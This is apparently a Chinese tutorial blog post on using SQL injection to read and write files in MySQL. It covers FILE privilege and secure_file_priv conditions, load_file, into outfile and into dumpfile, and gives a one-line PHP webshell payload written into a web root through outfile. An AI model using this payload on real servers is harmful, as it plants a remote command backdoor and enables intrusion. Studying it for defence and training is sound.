SQL注入读写文件
2022/3/2 19:45:41
本文主要是介绍SQL注入读写文件,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1. 读写文件的基本条件和使用
1.1 SQL注入文件读写
SQL注入有直接SQL注入,也有文件读写时的注入,后者的主要目的在于获取webshell或盗取重要文件。
1.2 文件读写的基本条件
- 当前用户权限对该文件可读。
- 文件在该服务器上。
- 路径完整。
- 文件大小小于max_sllowed_packet。
- 当前数据库用户有FILE权限,File_priv为yes
- secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作。
在MySQL5.5.53中,File_priv默认为yes
My.ini配置文件中本没有max_allowed_packet这一项,可以通过添加来修改可读写文件大小,然后重启MySQL。
My.ini配置文件中也没有secure_file_priv这一项,默认为不允许读写磁盘中任何未知的文件,也就是说默认值为NULL。
可以通过在my.ini中添加secure_file_priv这一项来许可文件读写。
显示结果的意思是︰本地登录的root账户拥有所有数据库中所有表的所有权限。
如何给用户分配权限︰
grant权限on数据库.数据表to ‘用户’@‘主机名’;例︰给从所有主机登陆的any账户分配所有的权限grant all on . to ‘any’@’%’;
load_file,后面的路径可以是单引号、Ox、char转换的字符。这而记得路径中的斜杠是/而不是\。
outfile后面不能接Ox开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成’,那么基本没的玩了。
outfile 一句话(经典): select ‘<?phpeval($_POST[cmd])?>’ into outfile’D:/PHPnow-1.5.4/htdocs/index2.php’ ;
关于/和\,读文件时只能用/,写文件时两者都可以。但是写文件时,如果用了\,MySQL会自动去除一个l,因此需要写成\才行。
into dumpfile它只能导出一行数据,并不常用,用于导出一条数据,通常写入第二条的时候出错,但第二条内容已被写入文件。
outfile函数可以导出多行,而dumpfile只能导出一行数据。
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。
dumpfile适用于二进制文件,它会将目标文件吸入同一行内; outfile则更适用于文本文件。
2. SQLserver读写文件简单介绍
2.1 读文件
2.2 写文件
文章参考哔哩哔哩奇安信网络安全培训视频
这篇关于SQL注入读写文件的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23Springboot应用的多环境打包入门
- 2024-11-23Springboot应用的生产发布入门教程
- 2024-11-23Python编程入门指南
- 2024-11-23Java创业入门:从零开始的编程之旅
- 2024-11-23Java创业入门:新手必读的Java编程与创业指南
- 2024-11-23Java对接阿里云智能语音服务入门详解
- 2024-11-23Java对接阿里云智能语音服务入门教程
- 2024-11-23JAVA对接阿里云智能语音服务入门教程
- 2024-11-23Java副业入门:初学者的简单教程
- 2024-11-23JAVA副业入门:初学者的实战指南